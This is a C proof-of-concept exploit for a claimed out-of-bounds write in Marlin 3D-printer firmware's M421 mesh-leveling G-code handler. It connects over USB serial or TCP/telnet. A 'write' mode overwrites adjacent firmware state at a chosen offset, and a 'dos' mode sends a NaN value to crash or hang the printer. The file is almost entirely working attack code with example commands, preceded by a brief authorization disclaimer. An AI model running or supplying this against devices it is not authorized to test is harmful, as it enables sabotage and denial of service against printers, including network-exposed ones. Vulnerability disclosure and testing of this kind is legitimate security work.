/*
 * PoC for CVE-2026-56111
 * Marlin Firmware <= 2.1.2.7 - Out-of-bounds write via the M421 G-code handler
 * (Mesh Bed Leveling). Fixed in commit 1f255d1.
 *
 * The M421 MBL handler checks only that the I/J indices are not negative. It does
 * not check the upper bound. set_z() then writes z_values[ix][iy] = z with no bound
 * check. An index past the grid writes a controlled 32-bit float past the z_values
 * array, into adjacent firmware state (z_offset, the parser object, GcodeSuite state).
 *
 * This tool only sends the G-code line. The out-of-bounds write happens inside the
 * firmware. The write is CONSTRAINED, not arbitrary: the target offset is
 * z_values + (ix*GRID_Y + iy)*4 bytes, with ix/iy bounded by int8_t (max 127), so the
 * reachable window is about 2 KB past z_values. You control the value (the Z float)
 * and the offset (the index). You do NOT control an absolute address.
 *
 * Two modes:
 *   write : send M421 with the I/J/Z you choose (controlled value, controlled offset)
 *   dos   : send an out-of-range index with a NaN Z value, which propagates into the
 *           motion math and reliably crashes or hangs the firmware
 *
 * Two channels:
 *   --serial <device>   e.g. /dev/ttyUSB0 or /dev/ttyACM0 (USB, the common case)
 *   --tcp <host:port>   e.g. 192.168.1.50:23 (printers exposing telnet/network gcode)
 *
 * Build:  gcc -O2 -o exp exploit.c
 *
 * Use only on devices you own or are authorized to test.
 *
 * Author: Christ Bouchuen
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <errno.h>
#include <stdint.h>

#include <sys/socket.h>
#include <netdb.h>

static void usage(const char *p) {
    fprintf(stderr,
"PoC for CVE-2026-56111 (Marlin M421 out-of-bounds write)\n\n"
"Usage:\n"
"  %s (--serial <dev> [--baud N] | --tcp <host:port>) <mode> [mode args]\n\n"
"Channels:\n"
"  --serial <dev>     serial device, e.g. /dev/ttyUSB0 or /dev/ttyACM0\n"
"  --baud N           serial baud rate (default 115200; many boards use 250000)\n"
"  --tcp <host:port>  TCP target, e.g. 192.168.1.50:23\n\n"
"Modes:\n"
"  write -i IX -j IY -z VALUE\n"
"        send 'M421 I<IX> J<IY> Z<VALUE>'. With an out-of-range IX/IY this writes\n"
"        VALUE past z_values. Offset = z_values + (IX*GRID_Y + IY)*4 bytes.\n"
"        Example (3x3 grid, valid max index 2):\n"
"          %s --serial /dev/ttyUSB0 write -i 3 -j 0 -z 99.0   (hits z_offset)\n"
"          %s --serial /dev/ttyUSB0 write -i 5 -j 0 -z 99.0   (hits parser object)\n\n"
"  dos\n"
"        send 'M421 I120 J120 Z<NaN>'. The NaN propagates into the motion math and\n"
"        reliably crashes or hangs the firmware.\n\n"
"Use only on devices you own or are authorized to test.\n",
    p, p, p);
}

/* ---- serial channel ---- */
static int open_serial(const char *dev, int baud) {
    int fd = open(dev, O_RDWR | O_NOCTTY | O_SYNC);
    if (fd < 0) { perror("open serial"); return -1; }

    struct termios t;
    if (tcgetattr(fd, &t) != 0) { perror("tcgetattr"); close(fd); return -1; }

    speed_t s;
    switch (baud) {
        case 9600:   s = B9600;   break;
        case 19200:  s = B19200;  break;
        case 38400:  s = B38400;  break;
        case 57600:  s = B57600;  break;
        case 115200: s = B115200; break;
        case 230400: s = B230400; break;
#ifdef B250000
        case 250000: s = B250000; break;
#endif
#ifdef B500000
        case 500000: s = B500000; break;
#endif
        default:
            fprintf(stderr, "unsupported baud %d, using 115200\n", baud);
            s = B115200; break;
    }
    cfsetospeed(&t, s);
    cfsetispeed(&t, s);

    t.c_cflag = (t.c_cflag & ~CSIZE) | CS8;   /* 8 data bits          */
    t.c_cflag |= (CLOCAL | CREAD);            /* local, enable read   */
    t.c_cflag &= ~(PARENB | PARODD);          /* no parity            */
    t.c_cflag &= ~CSTOPB;                     /* 1 stop bit           */
    t.c_cflag &= ~CRTSCTS;                    /* no hw flow control   */
    cfmakeraw(&t);                            /* raw mode             */

    if (tcsetattr(fd, TCSANOW, &t) != 0) { perror("tcsetattr"); close(fd); return -1; }
    return fd;
}

/* ---- tcp channel ---- */
static int open_tcp(const char *hostport) {
    char buf[256];
    strncpy(buf, hostport, sizeof(buf) - 1);
    buf[sizeof(buf) - 1] = 0;

    char *colon = strrchr(buf, ':');
    if (!colon) { fprintf(stderr, "tcp target must be host:port\n"); return -1; }
    *colon = 0;
    const char *host = buf;
    const char *port = colon + 1;

    struct addrinfo hints, *res, *rp;
    memset(&hints, 0, sizeof(hints));
    hints.ai_family   = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;

    int err = getaddrinfo(host, port, &hints, &res);
    if (err) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(err)); return -1; }

    int fd = -1;
    for (rp = res; rp; rp = rp->ai_next) {
        fd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
        if (fd < 0) continue;
        if (connect(fd, rp->ai_addr, rp->ai_addrlen) == 0) break;
        close(fd); fd = -1;
    }
    freeaddrinfo(res);
    if (fd < 0) { fprintf(stderr, "could not connect to %s\n", hostport); return -1; }
    return fd;
}

static int send_line(int fd, const char *line) {
    size_t len = strlen(line);
    ssize_t n = write(fd, line, len);
    if (n < 0 || (size_t)n != len) { perror("write"); return -1; }
    printf("sent: %s", line);
    return 0;
}

int main(int argc, char **argv) {
    const char *serial_dev = NULL;
    const char *tcp_target = NULL;
    int baud = 115200;

    /* parse channel */
    int i = 1;
    for (; i < argc; i++) {
        if (!strcmp(argv[i], "--serial") && i + 1 < argc) { serial_dev = argv[++i]; }
        else if (!strcmp(argv[i], "--baud") && i + 1 < argc) { baud = atoi(argv[++i]); }
        else if (!strcmp(argv[i], "--tcp") && i + 1 < argc) { tcp_target = argv[++i]; }
        else break; /* mode starts here */
    }

    if ((!serial_dev && !tcp_target) || i >= argc) { usage(argv[0]); return 2; }
    if (serial_dev && tcp_target) {
        fprintf(stderr, "choose one channel: --serial OR --tcp\n"); return 2;
    }

    const char *mode = argv[i++];
    char line[128];

    if (!strcmp(mode, "write")) {
        int ix = 0, iy = 0; double z = 0.0; int have_i = 0, have_j = 0, have_z = 0;
        for (; i < argc; i++) {
            if (!strcmp(argv[i], "-i") && i + 1 < argc) { ix = atoi(argv[++i]); have_i = 1; }
            else if (!strcmp(argv[i], "-j") && i + 1 < argc) { iy = atoi(argv[++i]); have_j = 1; }
            else if (!strcmp(argv[i], "-z") && i + 1 < argc) { z = atof(argv[++i]); have_z = 1; }
            else { fprintf(stderr, "unknown write arg: %s\n", argv[i]); return 2; }
        }
        if (!have_i || !have_j || !have_z) {
            fprintf(stderr, "write needs -i IX -j IY -z VALUE\n"); return 2;
        }
        snprintf(line, sizeof(line), "M421 I%d J%d Z%g\n", ix, iy, z);
    }
    else if (!strcmp(mode, "dos")) {
        /* NaN literal for the Z value; firmware parses it into the motion math */
        snprintf(line, sizeof(line), "M421 I120 J120 Z%s\n", "nan");
    }
    else {
        fprintf(stderr, "unknown mode: %s\n", mode); usage(argv[0]); return 2;
    }

    int fd = serial_dev ? open_serial(serial_dev, baud) : open_tcp(tcp_target);
    if (fd < 0) return 1;

    int rc = send_line(fd, line);

    /* give the firmware a moment, then read whatever it echoes back */
    usleep(200000);
    char rx[512];
    ssize_t r = read(fd, rx, sizeof(rx) - 1);
    if (r > 0) { rx[r] = 0; printf("recv: %s\n", rx); }

    close(fd);
    return rc ? 1 : 0;
}